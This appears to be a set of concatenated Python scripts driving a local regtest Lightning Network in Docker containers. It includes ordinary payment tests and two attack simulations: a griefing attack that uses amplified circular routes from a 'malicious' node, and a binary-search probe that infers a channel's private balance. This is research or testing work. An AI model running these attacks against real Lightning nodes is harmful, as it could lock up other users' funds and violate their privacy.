def main(): num_nodes = 3 network = networkinitializer.setup(num_nodes, with_balance = True) bitcoind = network.bitcoind_node lnd_nodes = network.lnd_nodes alice = lnd_nodes[0] bob = lnd_nodes[1] carol = lnd_nodes[2] # Open connection from Alice to Bob and Bob to Carol. res = alice.container.exec_run(createconnection(bob)) print(res.output.decode('utf-8')) res = alice.container.exec_run(openchannel(bob, 100000)) print(res.output.decode('utf-8')) res = bob.container.exec_run(createconnection(carol)) print(res.output.decode('utf-8')) res = bob.container.exec_run(openchannel(carol, 100000)) print(res.output.decode('utf-8')) # res = bob.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # res = alice.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # res = carol.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # confirm the funding transactions; only 3 are needed for lnd bitcoind.container.exec_run(generatetoaddress(6)) res = bob.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = alice.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = carol.container.exec_run(listchannels()) print(res.output.decode('utf-8')) # Get invoice from alice # TODO: sleep substitute for actual pooling for nodes so that it is more accurate. # THis is wait time for network so that all payments are along the same route time.sleep(15) res = carol.container.exec_run(getinvoice(1000)) pay_req = get_attr(res, 'pay_req') print(pay_req) # Send payment back res = alice.container.exec_run(sendpayment(pay_req)) print(res.output.decode('utf-8')) bob.container.exec_run(listchannels()) alice.container.exec_run(listchannels()) carol.container.exec_run(listchannels()) return
def main(): num_nodes = 2 network = networkinitializer.setup(num_nodes, with_balance=True) bitcoind = network.bitcoind_node lnd_nodes = network.lnd_nodes alice = lnd_nodes[0] bob = lnd_nodes[1] bob.container.exec_run(createconnection(alice)) bob.container.exec_run(openchannel(alice, 10000000)) # printnodebalance(alice) # printnodebalance(bob) # confirm the funding transactions; only 3 are needed for lnd bitcoind.container.exec_run(generatetoaddress(6)) bob.container.exec_run(listchannels()) alice.container.exec_run(listchannels()) # Get invoice from alice for i in range(0, 100): if i % 5 == 0: print("iter", i) res = alice.container.exec_run(getinvoice(100)) pay_req = get_attr(res, 'pay_req') # print(pay_req) # Send payment back res = bob.container.exec_run(sendpayment(pay_req)) # print(res.output.decode('utf-8')) # time.sleep(1) bob.container.exec_run(listchannels()) alice.container.exec_run(listchannels()) time.sleep(2) # printnodebalance(alice) # printnodebalance(bob) return
def main(): num_good_nodes = 5 num_grief_nodes = 1 network = networkinitializer.setup(num_good_nodes, num_grief_nodes, with_balance = True) bitcoind = network.bitcoind_node lnd_nodes = network.lnd_nodes alice = lnd_nodes[0] bob = lnd_nodes[1] carol = lnd_nodes[2] dave = lnd_nodes[3] eve = lnd_nodes[5] fabi = lnd_nodes[4] # Open connection from Alice to Bob and Bob to Carol and Coral to Alice res = alice.container.exec_run(createconnection(bob)) print(res.output.decode('utf-8')) res = alice.container.exec_run(openchannel(bob, 100000)) print(res.output.decode('utf-8')) res = bob.container.exec_run(createconnection(carol)) print(res.output.decode('utf-8')) res = bob.container.exec_run(openchannel(carol, 100000)) print(res.output.decode('utf-8')) res = carol.container.exec_run(createconnection(alice)) print(res.output.decode('utf-8')) res = carol.container.exec_run(openchannel(alice, 100000)) print(res.output.decode('utf-8')) # Add the malicous guy, Dave :), Muhahahah res = dave.container.exec_run(createconnection(alice)) print(res.output.decode('utf-8')) res = dave.container.exec_run(openchannel(alice, 100000)) print(res.output.decode('utf-8')) res = carol.container.exec_run(createconnection(eve)) print(res.output.decode('utf-8')) res = carol.container.exec_run(openchannel(eve, 100000)) print(res.output.decode('utf-8')) res = eve.container.exec_run(createconnection(fabi)) print(res.output.decode('utf-8')) res = eve.container.exec_run(openchannel(fabi, 100000)) print(res.output.decode('utf-8')) # res = bob.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # res = alice.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # res = carol.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # confirm the funding transactions; only 3 are needed for lnd, but 6 just because :) bitcoind.container.exec_run(generatetoaddress(6)) res = eve.container.exec_run(grief()) print(res.output.decode('utf-8')) time.sleep(2) res = bob.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = alice.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = carol.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = dave.container.exec_run(listchannels()) print(res.output.decode('utf-8')) # Get invoice from alice # TODO: sleep substitute for actual pooling for nodes so that it is more accurate. # THis is wait time for network so that all payments are along the same route time.sleep(15) invoice_amt = 100 res = fabi.container.exec_run(getinvoice(invoice_amt)) pay_req = get_attr(res, 'pay_req') payment_hash = get_attr(res, 'r_hash') print(payment_hash) # We need to parse the structure of the queryroutes res = dave.container.exec_run(queryroutes(carol, invoice_amt)) routes = json.loads(res.output.decode('utf-8')) # find_last_hop(); add last hop to routes print(routes) routes = filter_routes(routes) #Change this later exec_res = alice.container.exec_run(getinfo()) height = int(json.loads(exec_res.output.decode('utf-8')).get('block_height')) routes = create_all_but_one_edge_circle_route(routes, invoice_amt + 3, height) print(routes) routes = amplify_routes(routes, invoice_amt, 6, height+delta_cltv, carol, alice) print(routes) last_hop = find_last_hop(carol, eve, invoice_amt, height+delta_cltv) routes['routes'][0]['hops'].append(last_hop) last_hop = find_last_hop(eve, fabi, invoice_amt, height+delta_cltv) routes['routes'][0]['hops'].append(last_hop) print(routes) # Feed the output of querypath and add last edge to the paths to complete the circle. # Send payment back # print(sendtoroute(payment_hash, str(routes))) print(sendtoroute(payment_hash, str(routes))) print(sendtoroute(payment_hash, json.dumps(routes))) res = dave.container.exec_run(sendtoroute(payment_hash, "\'" + json.dumps(routes) + "\'")) print(res.output.decode('utf-8')) # bob.container.exec_run(listchannels()) # alice.container.exec_run(listchannels()) # carol.container.exec_run(listchannels()) return
def main(): num_nodes = 4 network = networkinitializer.setup(num_nodes, with_balance=True) bitcoind = network.bitcoind_node lnd_nodes = network.lnd_nodes alice = lnd_nodes[0] bob = lnd_nodes[1] carol = lnd_nodes[2] dave = lnd_nodes[3] # Open connection from Alice to Bob and Bob to Carol and Coral to Alice capacity = 2**21 - 1 res = alice.container.exec_run(createconnection(bob)) res = alice.container.exec_run(openchannel(bob, capacity)) res = bob.container.exec_run(createconnection(carol)) res = bob.container.exec_run(openchannel(carol, capacity)) res = carol.container.exec_run(createconnection(dave)) res = carol.container.exec_run(openchannel(dave, capacity)) # confirm the funding transactions; only 3 are needed for lnd bitcoind.container.exec_run(generatetoaddress(6)) time.sleep(2) # THis is wait time for network so that all payments are along the same route time.sleep(15) # We do not control a bob-carol link. The attacker can only control nodes alice and dave # Step 1: send a random amount from bob to carol and try to infer that amount from out algorithm invoice_amt = random.randint(0, (capacity * 99) // 100) res = carol.container.exec_run(getinvoice(invoice_amt)) pay_req = get_attr(res, 'pay_req') print(str(invoice_amt) + " is the final invoice_amt ") res = bob.container.exec_run(sendpayment(pay_req)) # print(res.output.decode('utf-8')) # Step 2: Payment inference using binary search invoice_amt = 100 res = dave.container.exec_run(getinvoice(invoice_amt)) pay_req = get_attr(res, 'pay_req') payment_hash = get_attr(res, 'r_hash') # print(payment_hash) # We need to parse the structure of the queryroutes res = alice.container.exec_run(queryroutes(dave, invoice_amt)) routes = json.loads(res.output.decode('utf-8')) # find_last_hop(); add last hop to routes # print(routes) #Change this later exec_res = alice.container.exec_run(getinfo()) height = int( json.loads(exec_res.output.decode('utf-8')).get('block_height')) high = 2**24 - 1 low = 0 while low < high: print(low, high) amt = (low + high) // 2 payment_hash = secrets.token_hex(32) new_route = create_all_but_one_edge_circle_route(routes, amt, height) res = alice.container.exec_run( sendtoroute(payment_hash, "\'" + json.dumps(new_route) + "\'")) assert get_attr(res, 'payment_error') != "" assert get_attr(res, 'payment_preimage') == "" if msg_reached(dave, payment_hash): low = amt + 1 else: high = amt print(low, high) print("The maximum balance which can be sent via bob-carol channel is " + str(low - 1)) return
def main(): num_nodes = 3 network = networkinitializer.setup(num_nodes, with_balance=True) bitcoind = network.bitcoind_node lnd_nodes = network.lnd_nodes alice = lnd_nodes[0] bob = lnd_nodes[1] carol = lnd_nodes[2] # Open connection from Alice to Bob and Bob to Carol and Coral to Alice res = alice.container.exec_run(createconnection(bob)) print(res.output.decode('utf-8')) res = alice.container.exec_run(openchannel(bob, 100000)) print(res.output.decode('utf-8')) res = bob.container.exec_run(createconnection(carol)) print(res.output.decode('utf-8')) res = bob.container.exec_run(openchannel(carol, 100000)) print(res.output.decode('utf-8')) res = carol.container.exec_run(createconnection(alice)) print(res.output.decode('utf-8')) res = carol.container.exec_run(openchannel(alice, 100000)) print(res.output.decode('utf-8')) # res = bob.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # res = alice.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # res = carol.container.exec_run(listchannels()) # print(res.output.decode('utf-8')) # confirm the funding transactions; only 3 are needed for lnd bitcoind.container.exec_run(generatetoaddress(6)) time.sleep(2) res = bob.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = alice.container.exec_run(listchannels()) print(res.output.decode('utf-8')) res = carol.container.exec_run(listchannels()) print(res.output.decode('utf-8')) # Get invoice from alice # TODO: sleep substitute for actual pooling for nodes so that it is more accurate. # THis is wait time for network so that all payments are along the same route time.sleep(15) res = carol.container.exec_run(getinvoice(1000)) pay_req = get_attr(res, 'pay_req') payment_hash = get_attr(res, 'r_hash') print(payment_hash) # We need to parse the structure of the queryroutes res = alice.container.exec_run(queryroutes(carol, 1000)) routes = json.loads(res.output.decode('utf-8')) # find_last_hop(); add last hop to routes # Feed the output of querypath and add last edge to the paths to complete the circle. # Send payment back print(routes) # print(sendtoroute(payment_hash, str(routes))) del routes['routes'][0]['total_time_lock'] routes['routes'][0]['hops'][0]['expiry'] = 381 routes['routes'][0]['hops'][1]['expiry'] = 381 print(sendtoroute(payment_hash, str(routes))) print(sendtoroute(payment_hash, json.dumps(routes))) res = alice.container.exec_run( sendtoroute(payment_hash, "\'" + json.dumps(routes) + "\'")) print(res.output.decode('utf-8')) bob.container.exec_run(listchannels()) alice.container.exec_run(listchannels()) carol.container.exec_run(listchannels()) return